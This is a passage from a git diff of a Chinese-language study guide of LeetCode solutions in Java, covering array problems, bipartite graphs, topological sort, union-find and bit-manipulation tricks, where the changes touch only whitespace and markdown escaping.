-        if (!check(matrix, matrix[i][0], i, 0)) {
-            return false;
-        }
-    }
-    return true;
+public boolean isToeplitzMatrix(int[][] matrix) {
+    for (int i = 0; i < matrix[0].length; i++) {
+        if (!check(matrix, matrix[0][i], 0, i)) {
+            return false;
+        }
+    }
+    for (int i = 0; i < matrix.length; i++) {
+        if (!check(matrix, matrix[i][0], i, 0)) {
+            return false;
+        }
+    }
+    return true;
 }
 
-private boolean check(int[][] matrix, int expectValue, int row, int col) {
-    if (row >= matrix.length || col >= matrix[0].length) {
-        return true;
-    }
-    if (matrix[row][col] != expectValue) {
-        return false;
-    }
-    return check(matrix, expectValue, row + 1, col + 1);
+private boolean check(int[][] matrix, int expectValue, int row, int col) {
+    if (row >= matrix.length || col >= matrix[0].length) {
+        return true;
+    }
+    if (matrix[row][col] != expectValue) {
+        return false;
+    }
+    return check(matrix, expectValue, row + 1, col + 1);
 }
 ```
 
-**嵌套数组**
+**嵌套数组** 
 
-[565. Array Nesting (Medium)](https://leetcode.com/problems/array-nesting/description/)
+[565. Array Nesting (Medium)](https://leetcode.com/problems/array-nesting/description/)
 
 ```html
-Input: A = [5,4,0,3,1,6,2]
-Output: 4
+Input: A = [5,4,0,3,1,6,2]
+Output: 4
 Explanation:
-A[0] = 5, A[1] = 4, A[2] = 0, A[3] = 3, A[4] = 1, A[5] = 6, A[6] = 2.
+A[0] = 5, A[1] = 4, A[2] = 0, A[3] = 3, A[4] = 1, A[5] = 6, A[6] = 2.
 
-One of the longest S[K]:
-S[0] = {A[0], A[5], A[6], A[2]} = {5, 6, 2, 0}
+One of the longest S[K]:
+S[0] = {A[0], A[5], A[6], A[2]} = {5, 6, 2, 0}
 ```
 
-题目描述：S[i] 表示一个集合，集合的第一个元素是 A[i]，第二个元素是 A[A[i]]，如此嵌套下去。求最大的 S[i]。
+题目描述：S[i] 表示一个集合，集合的第一个元素是 A[i]，第二个元素是 A[A[i]]，如此嵌套下去。求最大的 S[i]。
 
 ```java
-public int arrayNesting(int[] nums) {
-    int max = 0;
-    for (int i = 0; i < nums.length; i++) {
-        int cnt = 0;
-        for (int j = i; nums[j] != -1; ) {
-            cnt++;
-            int t = nums[j];
-            nums[j] = -1; // 标记该位置已经被访问
-            j = t;
+public int arrayNesting(int[] nums) {
+    int max = 0;
+    for (int i = 0; i < nums.length; i++) {
+        int cnt = 0;
+        for (int j = i; nums[j] != -1; ) {
+            cnt++;
+            int t = nums[j];
+            nums[j] = -1; // 标记该位置已经被访问
+            j = t;
 
-        }
-        max = Math.max(max, cnt);
-    }
-    return max;
+        }
+        max = Math.max(max, cnt);
+    }
+    return max;
 }
 ```
 
-**分隔数组**
+**分隔数组** 
 
-[769. Max Chunks To Make Sorted (Medium)](https://leetcode.com/problems/max-chunks-to-make-sorted/description/)
+[769. Max Chunks To Make Sorted (Medium)](https://leetcode.com/problems/max-chunks-to-make-sorted/description/)
 
 ```html
-Input: arr = [1,0,2,3,4]
-Output: 4
+Input: arr = [1,0,2,3,4]
+Output: 4
 Explanation:
-We can split into two chunks, such as [1, 0], [2, 3, 4].
-However, splitting into [1, 0], [2], [3], [4] is the highest number of chunks possible.
+We can split into two chunks, such as [1, 0], [2, 3, 4].
+However, splitting into [1, 0], [2], [3], [4] is the highest number of chunks possible.
 ```
 
 题目描述：分隔数组，使得对每部分排序后数组就为有序。
 
 ```java
-public int maxChunksToSorted(int[] arr) {
-    if (arr == null) return 0;
-    int ret = 0;
-    int right = arr[0];
-    for (int i = 0; i < arr.length; i++) {
-        right = Math.max(right, arr[i]);
-        if (right == i) ret++;
-    }
-    return ret;
+public int maxChunksToSorted(int[] arr) {
+    if (arr == null) return 0;
+    int ret = 0;
+    int right = arr[0];
+    for (int i = 0; i < arr.length; i++) {
+        right = Math.max(right, arr[i]);
+        if (right == i) ret++;
+    }
+    return ret;
 }
 ```
 
-## 图
+## 图
 
-### 二分图
+### 二分图
 
 如果可以用两种颜色对图中的节点进行着色，并且保证相邻的节点颜色不同，那么这个图就是二分图。
 
-**判断是否为二分图**
+**判断是否为二分图** 
 
-[785. Is Graph Bipartite? (Medium)](https://leetcode.com/problems/is-graph-bipartite/description/)
+[785. Is Graph Bipartite? (Medium)](https://leetcode.com/problems/is-graph-bipartite/description/)
 
 ```html
-Input: [[1,3], [0,2], [1,3], [0,2]]
-Output: true
+Input: [[1,3], [0,2], [1,3], [0,2]]
+Output: true
 Explanation:
-The graph looks like this:
+The graph looks like this:
 0----1
-|    |
-|    |
+|    |
+|    |
 3----2
-We can divide the vertices into two groups: {0, 2} and {1, 3}.
+We can divide the vertices into two groups: {0, 2} and {1, 3}.
 ```
 
 ```html
-Example 2:
-Input: [[1,2,3], [0,2], [0,1,3], [0,2]]
-Output: false
+Example 2:
+Input: [[1,2,3], [0,2], [0,1,3], [0,2]]
+Output: false
 Explanation:
-The graph looks like this:
+The graph looks like this:
 0----1
-| \  |
-|  \ |
+| \  |
+|  \ |
 3----2
-We cannot find a way to divide the set of nodes into two independent subsets.
+We cannot find a way to divide the set of nodes into two independent subsets.
 ```
 
 ```java
-public boolean isBipartite(int[][] graph) {
-    int[] colors = new int[graph.length];
-    Arrays.fill(colors, -1);
-    for (int i = 0; i < graph.length; i++) {  // 处理图不是连通的情况
-        if (colors[i] == -1 && !isBipartite(i, 0, colors, graph)) {
-            return false;
-        }
-    }
-    return true;
+public boolean isBipartite(int[][] graph) {
+    int[] colors = new int[graph.length];
+    Arrays.fill(colors, -1);
+    for (int i = 0; i < graph.length; i++) {  // 处理图不是连通的情况
+        if (colors[i] == -1 && !isBipartite(i, 0, colors, graph)) {
+            return false;
+        }
+    }
+    return true;
 }
 
-private boolean isBipartite(int curNode, int curColor, int[] colors, int[][] graph) {
-    if (colors[curNode] != -1) {
-        return colors[curNode] == curColor;
-    }
-    colors[curNode] = curColor;
-    for (int nextNode : graph[curNode]) {
-        if (!isBipartite(nextNode, 1 - curColor, colors, graph)) {
-            return false;
-        }
-    }
-    return true;
+private boolean isBipartite(int curNode, int curColor, int[] colors, int[][] graph) {
+    if (colors[curNode] != -1) {
+        return colors[curNode] == curColor;
+    }
+    colors[curNode] = curColor;
+    for (int nextNode : graph[curNode]) {
+        if (!isBipartite(nextNode, 1 - curColor, colors, graph)) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-### 拓扑排序
+### 拓扑排序
 
 常用于在具有先序关系的任务规划中。
 
-**课程安排的合法性**
+**课程安排的合法性** 
 
-[207. Course Schedule (Medium)](https://leetcode.com/problems/course-schedule/description/)
+[207. Course Schedule (Medium)](https://leetcode.com/problems/course-schedule/description/)
 
 ```html
-2, [[1,0]]
-return true
+2, [[1,0]]
+return true
 ```
 
 ```html
-2, [[1,0],[0,1]]
-return false
+2, [[1,0],[0,1]]
+return false
 ```
 
 题目描述：一个课程可能会先修课程，判断给定的先修课程规定是否合法。
@@ -6421,579 +6477,579 @@ return false
 本题不需要使用拓扑排序，只需要检测有向图是否存在环即可。
 
 ```java
-public boolean canFinish(int numCourses, int[][] prerequisites) {
-    List<Integer>[] graphic = new List[numCourses];
-    for (int i = 0; i < numCourses; i++) {
-        graphic[i] = new ArrayList<>();
-    }
-    for (int[] pre : prerequisites) {
-        graphic[pre[0]].add(pre[1]);
-    }
-    boolean[] globalMarked = new boolean[numCourses];
-    boolean[] localMarked = new boolean[numCourses];
-    for (int i = 0; i < numCourses; i++) {
-        if (hasCycle(globalMarked, localMarked, graphic, i)) {
-            return false;
-        }
-    }
-    return true;
+public boolean canFinish(int numCourses, int[][] prerequisites) {
+    List<Integer>[] graphic = new List[numCourses];
+    for (int i = 0; i < numCourses; i++) {
+        graphic[i] = new ArrayList<>();
+    }
+    for (int[] pre : prerequisites) {
+        graphic[pre[0]].add(pre[1]);
+    }
+    boolean[] globalMarked = new boolean[numCourses];
+    boolean[] localMarked = new boolean[numCourses];
+    for (int i = 0; i < numCourses; i++) {
+        if (hasCycle(globalMarked, localMarked, graphic, i)) {
+            return false;
+        }
+    }
+    return true;
 }
 
-private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked,
-                         List<Integer>[] graphic, int curNode) {
+private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked,
+                         List<Integer>[] graphic, int curNode) {
 
-    if (localMarked[curNode]) {
-        return true;
-    }
-    if (globalMarked[curNode]) {
-        return false;
-    }
-    globalMarked[curNode] = true;
-    localMarked[curNode] = true;
-    for (int nextNode : graphic[curNode]) {
-        if (hasCycle(globalMarked, localMarked, graphic, nextNode)) {
-            return true;
-        }
-    }
-    localMarked[curNode] = false;
-    return false;
+    if (localMarked[curNode]) {
+        return true;
+    }
+    if (globalMarked[curNode]) {
+        return false;
+    }
+    globalMarked[curNode] = true;
+    localMarked[curNode] = true;
+    for (int nextNode : graphic[curNode]) {
+        if (hasCycle(globalMarked, localMarked, graphic, nextNode)) {
+            return true;
+        }
+    }
+    localMarked[curNode] = false;
+    return false;
 }
 ```
 
-**课程安排的顺序**
+**课程安排的顺序** 
 
-[210. Course Schedule II (Medium)](https://leetcode.com/problems/course-schedule-ii/description/)
+[210. Course Schedule II (Medium)](https://leetcode.com/problems/course-schedule-ii/description/)
 
 ```html
-4, [[1,0],[2,0],[3,1],[3,2]]
-There are a total of 4 courses to take. To take course 3 you should have finished both courses 1 and 2. Both courses 1 and 2 should be taken after you finished course 0. So one correct course order is [0,1,2,3]. Another correct ordering is[0,2,1,3].
+4, [[1,0],[2,0],[3,1],[3,2]]
+There are a total of 4 courses to take. To take course 3 you should have finished both courses 1 and 2. Both courses 1 and 2 should be taken after you finished course 0. So one correct course order is [0,1,2,3]. Another correct ordering is[0,2,1,3].
 ```
 
-使用 DFS 来实现拓扑排序，使用一个栈存储后序遍历结果，这个栈的逆序结果就是拓扑排序结果。
+使用 DFS 来实现拓扑排序，使用一个栈存储后序遍历结果，这个栈的逆序结果就是拓扑排序结果。
 
-证明：对于任何先序关系：v->w，后序遍历结果可以保证 w 先进入栈中，因此栈的逆序结果中 v 会在 w 之前。
+证明：对于任何先序关系：v->w，后序遍历结果可以保证 w 先进入栈中，因此栈的逆序结果中 v 会在 w 之前。
 
 ```java
-public int[] findOrder(int numCourses, int[][] prerequisites) {
-    List<Integer>[] graphic = new List[numCourses];
-    for (int i = 0; i < numCourses; i++) {
-        graphic[i] = new ArrayList<>();
-    }
-    for (int[] pre : prerequisites) {
-        graphic[pre[0]].add(pre[1]);
-    }
-    Stack<Integer> postOrder = new Stack<>();
-    boolean[] globalMarked = new boolean[numCourses];
-    boolean[] localMarked = new boolean[numCourses];
-    for (int i = 0; i < numCourses; i++) {
-        if (hasCycle(globalMarked, localMarked, graphic, i, postOrder)) {
-            return new int[0];
-        }
-    }
-    int[] orders = new int[numCourses];
-    for (int i = numCourses - 1; i >= 0; i--) {
-        orders[i] = postOrder.pop();
-    }
-    return orders;
+public int[] findOrder(int numCourses, int[][] prerequisites) {
+    List<Integer>[] graphic = new List[numCourses];
+    for (int i = 0; i < numCourses; i++) {
+        graphic[i] = new ArrayList<>();
+    }
+    for (int[] pre : prerequisites) {
+        graphic[pre[0]].add(pre[1]);
+    }
+    Stack<Integer> postOrder = new Stack<>();
+    boolean[] globalMarked = new boolean[numCourses];
+    boolean[] localMarked = new boolean[numCourses];
+    for (int i = 0; i < numCourses; i++) {
+        if (hasCycle(globalMarked, localMarked, graphic, i, postOrder)) {
+            return new int[0];
+        }
+    }
+    int[] orders = new int[numCourses];
+    for (int i = numCourses - 1; i >= 0; i--) {
+        orders[i] = postOrder.pop();
+    }
+    return orders;
 }
 
-private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked, List<Integer>[] graphic,
-                         int curNode, Stack<Integer> postOrder) {
+private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked, List<Integer>[] graphic,
+                         int curNode, Stack<Integer> postOrder) {
 
-    if (localMarked[curNode]) {
-        return true;
-    }
-    if (globalMarked[curNode]) {
-        return false;
-    }
-    globalMarked[curNode] = true;
-    localMarked[curNode] = true;
-    for (int nextNode : graphic[curNode]) {
-        if (hasCycle(globalMarked, localMarked, graphic, nextNode, postOrder)) {
-            return true;
-        }
-    }
-    localMarked[curNode] = false;
-    postOrder.push(curNode);
-    return false;
+    if (localMarked[curNode]) {
+        return true;
+    }
+    if (globalMarked[curNode]) {
+        return false;
+    }
+    globalMarked[curNode] = true;
+    localMarked[curNode] = true;
+    for (int nextNode : graphic[curNode]) {
+        if (hasCycle(globalMarked, localMarked, graphic, nextNode, postOrder)) {
+            return true;
+        }
+    }
+    localMarked[curNode] = false;
+    postOrder.push(curNode);
+    return false;
 }
 ```
 
-### 并查集
+### 并查集
 
 并查集可以动态地连通两个点，并且可以非常快速地判断两个点是否连通。
 
-**冗余连接**
+**冗余连接** 
 
-[684. Redundant Connection (Medium)](https://leetcode.com/problems/redundant-connection/description/)
+[684. Redundant Connection (Medium)](https://leetcode.com/problems/redundant-connection/description/)
 
 ```html
-Input: [[1,2], [1,3], [2,3]]
-Output: [2,3]
-Explanation: The given undirected graph will be like this:
-  1
- / \
-2 - 3
+Input: [[1,2], [1,3], [2,3]]
+Output: [2,3]
+Explanation: The given undirected graph will be like this:
+  1
+ / \
+2 - 3
 ```
 
 题目描述：有一系列的边连成的图，找出一条边，移除它之后该图能够成为一棵树。
 
 ```java
-public int[] findRedundantConnection(int[][] edges) {
-    int N = edges.length;
-    UF uf = new UF(N);
-    for (int[] e : edges) {
-        int u = e[0], v = e[1];
-        if (uf.connect(u, v)) {
-            return e;
-        }
-        uf.union(u, v);
-    }
-    return new int[]{-1, -1};
+public int[] findRedundantConnection(int[][] edges) {
+    int N = edges.length;
+    UF uf = new UF(N);
+    for (int[] e : edges) {
+        int u = e[0], v = e[1];
+        if (uf.connect(u, v)) {
+            return e;
+        }
+        uf.union(u, v);
+    }
+    return new int[]{-1, -1};
 }
 
-private class UF {
+private class UF {
 
-    private int[] id;
+    private int[] id;
 
-    UF(int N) {
-        id = new int[N + 1];
-        for (int i = 0; i < id.length; i++) {
-            id[i] = i;
-        }
-    }
+    UF(int N) {
+        id = new int[N + 1];
+        for (int i = 0; i < id.length; i++) {
+            id[i] = i;
+        }
+    }
 
-    void union(int u, int v) {
-        int uID = find(u);
-        int vID = find(v);
-        if (uID == vID) {
-            return;
-        }
-        for (int i = 0; i < id.length; i++) {
-            if (id[i] == uID) {
-                id[i] = vID;
-            }
-        }
-    }
+    void union(int u, int v) {
+        int uID = find(u);
+        int vID = find(v);
+        if (uID == vID) {
+            return;
+        }
+        for (int i = 0; i < id.length; i++) {
+            if (id[i] == uID) {
+                id[i] = vID;
+            }
+        }
+    }
 
-    int find(int p) {
-        return id[p];
-    }
+    int find(int p) {
+        return id[p];
+    }
 
-    boolean connect(int u, int v) {
-        return find(u) == find(v);
-    }
+    boolean connect(int u, int v) {
+        return find(u) == find(v);
+    }
 }
 ```
 
-## 位运算
+## 位运算
 
-**1. 基本原理**
+**1. 基本原理** 
 
-0s 表示一串 0，1s 表示一串 1。
+0s 表示一串 0，1s 表示一串 1。
 
 ```
-x ^ 0s = x      x & 0s = 0      x | 0s = x
-x ^ 1s = ~x     x & 1s = x      x | 1s = 1s
-x ^ x = 0       x & x = x       x | x = x
+x ^ 0s = x      x & 0s = 0      x | 0s = x
+x ^ 1s = ~x     x & 1s = x      x | 1s = 1s
+x ^ x = 0       x & x = x       x | x = x
 ```
 
-- 利用 x ^ 1s = ~x 的特点，可以将位级表示翻转；利用 x ^ x = 0 的特点，可以将三个数中重复的两个数去除，只留下另一个数。
-- 利用 x & 0s = 0 和 x & 1s = x 的特点，可以实现掩码操作。一个数 num 与 mask：00111100 进行位与操作，只保留 num 中与 mask 的 1 部分相对应的位。
-- 利用 x | 0s = x 和 x | 1s = 1s 的特点，可以实现设值操作。一个数 num 与 mask：00111100 进行位或操作，将 num 中与 mask 的 1 部分相对应的位都设置为 1。
+- 利用 x ^ 1s = \~x 的特点，可以将位级表示翻转；利用 x ^ x = 0 的特点，可以将三个数中重复的两个数去除，只留下另一个数。
+- 利用 x & 0s = 0 和 x & 1s = x 的特点，可以实现掩码操作。一个数 num 与 mask：00111100 进行位与操作，只保留 num 中与 mask 的 1 部分相对应的位。
+- 利用 x | 0s = x 和 x | 1s = 1s 的特点，可以实现设值操作。一个数 num 与 mask：00111100 进行位或操作，将 num 中与 mask 的 1 部分相对应的位都设置为 1。
 
 位与运算技巧：
 
-- n&(n-1) 去除 n 的位级表示中最低的那一位。例如对于二进制表示 10110**100**，减去 1 得到 10110**011**，这两个数相与得到 10110**000**。
-- n&(-n) 得到 n 的位级表示中最低的那一位。-n 得到 n 的反码加 1，对于二进制表示 10110**100**，-n 得到 01001**100**，相与得到 00000**100**。
-- n-n&(~n+1) 去除 n 的位级表示中最高的那一位。
+- n&(n-1) 去除 n 的位级表示中最低的那一位。例如对于二进制表示 10110 **100** ，减去 1 得到 10110**011**，这两个数相与得到 10110**000**。
+- n&(-n) 得到 n 的位级表示中最低的那一位。-n 得到 n 的反码加 1，对于二进制表示 10110 **100** ，-n 得到 01001**100**，相与得到 00000**100**。
+- n-n&(\~n+1) 去除 n 的位级表示中最高的那一位。
 
 移位运算：
 
-- \>\> n 为算术右移，相当于除以 2<sup>n</sup>；
-- \>\>\> n 为无符号右移，左边会补上 0。
-- &lt;&lt; n 为算术左移，相当于乘以 2<sup>n</sup>。
+- \>\> n 为算术右移，相当于除以 2<sup>n</sup>；
+- \>\>\> n 为无符号右移，左边会补上 0。
+- &lt;&lt; n 为算术左移，相当于乘以 2<sup>n</sup>。
 
-**2. mask 计算**
+**2. mask 计算** 
 
-要获取 111111111，将 0 取反即可，~0。
+要获取 111111111，将 0 取反即可，\~0。
 
-要得到只有第 i 位为 1 的 mask，将 1 向左移动 i-1 位即可，1&lt;&lt;(i-1) 。例如 1&lt;&lt;4 得到只有第 5 位为 1 的 mask ：00010000。
+要得到只有第 i 位为 1 的 mask，将 1 向左移动 i-1 位即可，1&lt;&lt;(i-1) 。例如 1&lt;&lt;4 得到只有第 5 位为 1 的 mask ：00010000。
 
-要得到 1 到 i 位为 1 的 mask，1&lt;&lt;(i+1)-1 即可，例如将 1&lt;&lt;(4+1)-1 = 00010000-1 = 00001111。
+要得到 1 到 i 位为 1 的 mask，1&lt;&lt;(i+1)-1 即可，例如将 1&lt;&lt;(4+1)-1 = 00010000-1 = 00001111。
 
-要得到 1 到 i 位为 0 的 mask，只需将 1 到 i 位为 1 的 mask 取反，即 ~(1&lt;&lt;(i+1)-1)。
+要得到 1 到 i 位为 0 的 mask，只需将 1 到 i 位为 1 的 mask 取反，即 \~(1&lt;&lt;(i+1)-1)。
 
-**3. Java 中的位操作**
+**3. Java 中的位操作** 
 
 ```html
-static int Integer.bitCount();           // 统计 1 的数量
-static int Integer.highestOneBit();      // 获得最高位
-static String toBinaryString(int i);     // 转换为二进制表示的字符串
+static int Integer.bitCount();           // 统计 1 的数量
+static int Integer.highestOneBit();      // 获得最高位
+static String toBinaryString(int i);     // 转换为二进制表示的字符串
 ```
 
-**统计两个数的二进制表示有多少位不同**
+**统计两个数的二进制表示有多少位不同** 
 
-[461. Hamming Distance (Easy)](https://leetcode.com/problems/hamming-distance/)
+[461. Hamming Distance (Easy)](https://leetcode.com/problems/hamming-distance/)
 
 ```html
-Input: x = 1, y = 4
+Input: x = 1, y = 4
 
-Output: 2
+Output: 2
 
 Explanation:
-1   (0 0 0 1)
-4   (0 1 0 0)
-       ↑   ↑
+1   (0 0 0 1)
+4   (0 1 0 0)
+       ↑   ↑
 
-The above arrows point to positions where the corresponding bits are different.
+The above arrows point to positions where the corresponding bits are different.
 ```
 
-对两个数进行异或操作，位级表示不同的那一位为 1，统计有多少个 1 即可。
+对两个数进行异或操作，位级表示不同的那一位为 1，统计有多少个 1 即可。
 
 ```java
-public int hammingDistance(int x, int y) {
-    int z = x ^ y;
-    int cnt = 0;
-    while(z != 0) {
-        if ((z & 1) == 1) cnt++;
-        z = z >> 1;
-    }
-    return cnt;
+public int hammingDistance(int x, int y) {
+    int z = x ^ y;
+    int cnt = 0;
+    while(z != 0) {
+        if ((z & 1) == 1) cnt++;
+        z = z >> 1;
+    }
+    return cnt;
 }
 ```
 
-使用 z&(z-1) 去除 z 位级表示最低的那一位。
+使用 z&(z-1) 去除 z 位级表示最低的那一位。
 
 ```java
-public int hammingDistance(int x, int y) {
-    int z = x ^ y;
-    int cnt = 0;
-    while (z != 0) {
-        z &= (z - 1);
-        cnt++;
-    }
-    return cnt;
+public int hammingDistance(int x, int y) {
+    int z = x ^ y;
+    int cnt = 0;
+    while (z != 0) {
+        z &= (z - 1);
+        cnt++;
+    }
+    return cnt;
 }
 ```
 
-可以使用 Integer.bitcount() 来统计 1 个的个数。
+可以使用 Integer.bitcount() 来统计 1 个的个数。
 
 ```java
-public int hammingDistance(int x, int y) {
-    return Integer.bitCount(x ^ y);
+public int hammingDistance(int x, int y) {
+    return Integer.bitCount(x ^ y);
 }
 ```
 
-**数组中唯一一个不重复的元素**
+**数组中唯一一个不重复的元素** 
 
-[136. Single Number (Easy)](https://leetcode.com/problems/single-number/description/)
+[136. Single Number (Easy)](https://leetcode.com/problems/single-number/description/)
 
 ```html
-Input: [4,1,2,1,2]
-Output: 4
+Input: [4,1,2,1,2]
+Output: 4
 ```
 
-两个相同的数异或的结果为 0，对所有数进行异或操作，最后的结果就是单独出现的那个数。
+两个相同的数异或的结果为 0，对所有数进行异或操作，最后的结果就是单独出现的那个数。
 
 ```java
-public int singleNumber(int[] nums) {
-    int ret = 0;
-    for (int n : nums) ret = ret ^ n;
-    return ret;
+public int singleNumber(int[] nums) {
+    int ret = 0;
+    for (int n : nums) ret = ret ^ n;
+    return ret;
 }
 ```
 
-**找出数组中缺失的那个数**
+**找出数组中缺失的那个数** 
 
-[268. Missing Number (Easy)](https://leetcode.com/problems/missing-number/description/)
+[268. Missing Number (Easy)](https://leetcode.com/problems/missing-number/description/)
 
 ```html
-Input: [3,0,1]
-Output: 2
+Input: [3,0,1]
+Output: 2
 ```
 
-题目描述：数组元素在 0-n 之间，但是有一个数是缺失的，要求找到这个缺失的数。
+题目描述：数组元素在 0-n 之间，但是有一个数是缺失的，要求找到这个缺失的数。
 
 ```java
-public int missingNumber(int[] nums) {
-    int ret = 0;
-    for (int i = 0; i < nums.length; i++) {
-        ret = ret ^ i ^ nums[i];
-    }
-    return ret ^ nums.length;
+public int missingNumber(int[] nums) {
+    int ret = 0;
+    for (int i = 0; i < nums.length; i++) {
+        ret = ret ^ i ^ nums[i];
+    }
+    return ret ^ nums.length;
 }
 ```
 
-**数组中不重复的两个元素**
+**数组中不重复的两个元素** 
 
-[260. Single Number III (Medium)](https://leetcode.com/problems/single-number-iii/description/)
+[260. Single Number III (Medium)](https://leetcode.com/problems/single-number-iii/description/)
 
 两个不相等的元素在位级表示上必定会有一位存在不同。
 
 将数组的所有元素异或得到的结果为不存在重复的两个元素异或的结果。
 
-diff &= -diff 得到出 diff 最右侧不为 0 的位，也就是不存在重复的两个元素在位级表示上最右侧不同的那一位，利用这一位就可以将两个元素区分开来。
+diff &= -diff 得到出 diff 最右侧不为 0 的位，也就是不存在重复的两个元素在位级表示上最右侧不同的那一位，利用这一位就可以将两个元素区分开来。
 
 ```java
-public int[] singleNumber(int[] nums) {
-    int diff = 0;
-    for (int num : nums) diff ^= num;
-    diff &= -diff;  // 得到最右一位
-    int[] ret = new int[2];
-    for (int num : nums) {
-        if ((num & diff) == 0) ret[0] ^= num;
-        else ret[1] ^= num;
-    }
-    return ret;
+public int[] singleNumber(int[] nums) {
+    int diff = 0;
+    for (int num : nums) diff ^= num;
+    diff &= -diff;  // 得到最右一位
+    int[] ret = new int[2];
+    for (int num : nums) {
+        if ((num & diff) == 0) ret[0] ^= num;
+        else ret[1] ^= num;
+    }
+    return ret;
 }
 ```
 
-**翻转一个数的比特位**
+**翻转一个数的比特位** 
 
-[190. Reverse Bits (Easy)](https://leetcode.com/problems/reverse-bits/description/)
+[190. Reverse Bits (Easy)](https://leetcode.com/problems/reverse-bits/description/)
 
 ```java
-public int reverseBits(int n) {
-    int ret = 0;
-    for (int i = 0; i < 32; i++) {
-        ret <<= 1;
-        ret |= (n & 1);
-        n >>>= 1;
-    }
-    return ret;
+public int reverseBits(int n) {
+    int ret = 0;
+    for (int i = 0; i < 32; i++) {
+        ret <<= 1;
+        ret |= (n & 1);
+        n >>>= 1;
+    }
+    return ret;
 }
 ```
 
-如果该函数需要被调用很多次，可以将 int 拆成 4 个 byte，然后缓存 byte 对应的比特位翻转，最后再拼接起来。
+如果该函数需要被调用很多次，可以将 int 拆成 4 个 byte，然后缓存 byte 对应的比特位翻转，最后再拼接起来。
 
 ```java
-private static Map<Byte, Integer> cache = new HashMap<>();
+private static Map<Byte, Integer> cache = new HashMap<>();
 
-public int reverseBits(int n) {
-    int ret = 0;
-    for (int i = 0; i < 4; i++) {
-        ret <<= 8;
-        ret |= reverseByte((byte) (n & 0b11111111));
-        n >>= 8;
-    }
-    return ret;
+public int reverseBits(int n) {
+    int ret = 0;
+    for (int i = 0; i < 4; i++) {
+        ret <<= 8;
+        ret |= reverseByte((byte) (n & 0b11111111));
+        n >>= 8;
+    }
+    return ret;
 }
 
-private int reverseByte(byte b) {
-    if (cache.containsKey(b)) return cache.get(b);
-    int ret = 0;
-    byte t = b;
-    for (int i = 0; i < 8; i++) {
-        ret <<= 1;
-        ret |= t & 1;
-        t >>= 1;
-    }
-    cache.put(b, ret);
-    return ret;
+private int reverseByte(byte b) {
+    if (cache.containsKey(b)) return cache.get(b);
+    int ret = 0;
+    byte t = b;
+    for (int i = 0; i < 8; i++) {
+        ret <<= 1;
+        ret |= t & 1;
+        t >>= 1;
+    }
+    cache.put(b, ret);
+    return ret;
 }
 ```
 
-**不用额外变量交换两个整数**
+**不用额外变量交换两个整数** 
 
-[程序员代码面试指南 ：P317](#)
+[程序员代码面试指南 ：P317](#)
 
 ```java
-a = a ^ b;
-b = a ^ b;
-a = a ^ b;
+a = a ^ b;
+b = a ^ b;
+a = a ^ b;
 ```
 
-**判断一个数是不是 2 的 n 次方**
+**判断一个数是不是 2 的 n 次方** 
 
-[231. Power of Two (Easy)](https://leetcode.com/problems/power-of-two/description/)
+[231. Power of Two (Easy)](https://leetcode.com/problems/power-of-two/description/)
 
-二进制表示只有一个 1 存在。
+二进制表示只有一个 1 存在。
 
 ```java
-public boolean isPowerOfTwo(int n) {
-    return n > 0 && Integer.bitCount(n) == 1;
+public boolean isPowerOfTwo(int n) {
+    return n > 0 && Integer.bitCount(n) == 1;
 }
 ```
 
-利用 1000 & 0111 == 0 这种性质，得到以下解法：
+利用 1000 & 0111 == 0 这种性质，得到以下解法：
 
 ```java
-public boolean isPowerOfTwo(int n) {
-    return n > 0 && (n & (n - 1)) == 0;
+public boolean isPowerOfTwo(int n) {
+    return n > 0 && (n & (n - 1)) == 0;
 }
 ```
 
-**判断一个数是不是 4 的 n 次方**
+**判断一个数是不是 4 的 n 次方** 
 
-[342. Power of Four (Easy)](https://leetcode.com/problems/power-of-four/)
+[342. Power of Four (Easy)](https://leetcode.com/problems/power-of-four/)
 
-这种数在二进制表示中有且只有一个奇数位为 1，例如 16（10000）。
+这种数在二进制表示中有且只有一个奇数位为 1，例如 16（10000）。
 
 ```java
-public boolean isPowerOfFour(int num) {
-    return num > 0 && (num & (num - 1)) == 0 && (num & 0b01010101010101010101010101010101) != 0;
+public boolean isPowerOfFour(int num) {
+    return num > 0 && (num & (num - 1)) == 0 && (num & 0b01010101010101010101010101010101) != 0;
 }
 ```
 
 也可以使用正则表达式进行匹配。
 
 ```java
-public boolean isPowerOfFour(int num) {
-    return Integer.toString(num, 4).matches("10*");
+public boolean isPowerOfFour(int num) {
+    return Integer.toString(num, 4).matches("10*");
 }
 ```
 
-**判断一个数的位级表示是否不会出现连续的 0 和 1**
+**判断一个数的位级表示是否不会出现连续的 0 和 1** 
 
-[693. Binary Number with Alternating Bits (Easy)](https://leetcode.com/problems/binary-number-with-alternating-bits/description/)
+[693. Binary Number with Alternating Bits (Easy)](https://leetcode.com/problems/binary-number-with-alternating-bits/description/)
 
 ```html
-Input: 10
-Output: True
+Input: 10
+Output: True
 Explanation:
-The binary representation of 10 is: 1010.
+The binary representation of 10 is: 1010.
 
-Input: 11
-Output: False
+Input: 11
+Output: False
 Explanation:
-The binary representation of 11 is: 1011.
+The binary representation of 11 is: 1011.
 ```
 
-对于 1010 这种位级表示的数，把它向右移动 1 位得到 101，这两个数每个位都不同，因此异或得到的结果为 1111。
+对于 1010 这种位级表示的数，把它向右移动 1 位得到 101，这两个数每个位都不同，因此异或得到的结果为 1111。
 
 ```java
-public boolean hasAlternatingBits(int n) {
-    int a = (n ^ (n >> 1));
-    return (a & (a + 1)) == 0;
+public boolean hasAlternatingBits(int n) {
+    int a = (n ^ (n >> 1));
+    return (a & (a + 1)) == 0;
 }
 ```
 
-**求一个数的补码**
+**求一个数的补码** 
 
-[476. Number Complement (Easy)](https://leetcode.com/problems/number-complement/description/)
+[476. Number Complement (Easy)](https://leetcode.com/problems/number-complement/description/)
 
 ```html
-Input: 5
-Output: 2
-Explanation: The binary representation of 5 is 101 (no leading zero bits), and its complement is 010. So you need to output 2.
+Input: 5
+Output: 2
+Explanation: The binary representation of 5 is 101 (no leading zero bits), and its complement is 010. So you need to output 2.
 ```
 
-题目描述：不考虑二进制表示中的首 0 部分。
+题目描述：不考虑二进制表示中的首 0 部分。
 
-对于 00000101，要求补码可以将它与 00000111 进行异或操作。那么问题就转换为求掩码 00000111。
+对于 00000101，要求补码可以将它与 00000111 进行异或操作。那么问题就转换为求掩码 00000111。
 
 ```java
-public int findComplement(int num) {
-    if (num == 0) return 1;
-    int mask = 1 << 30;
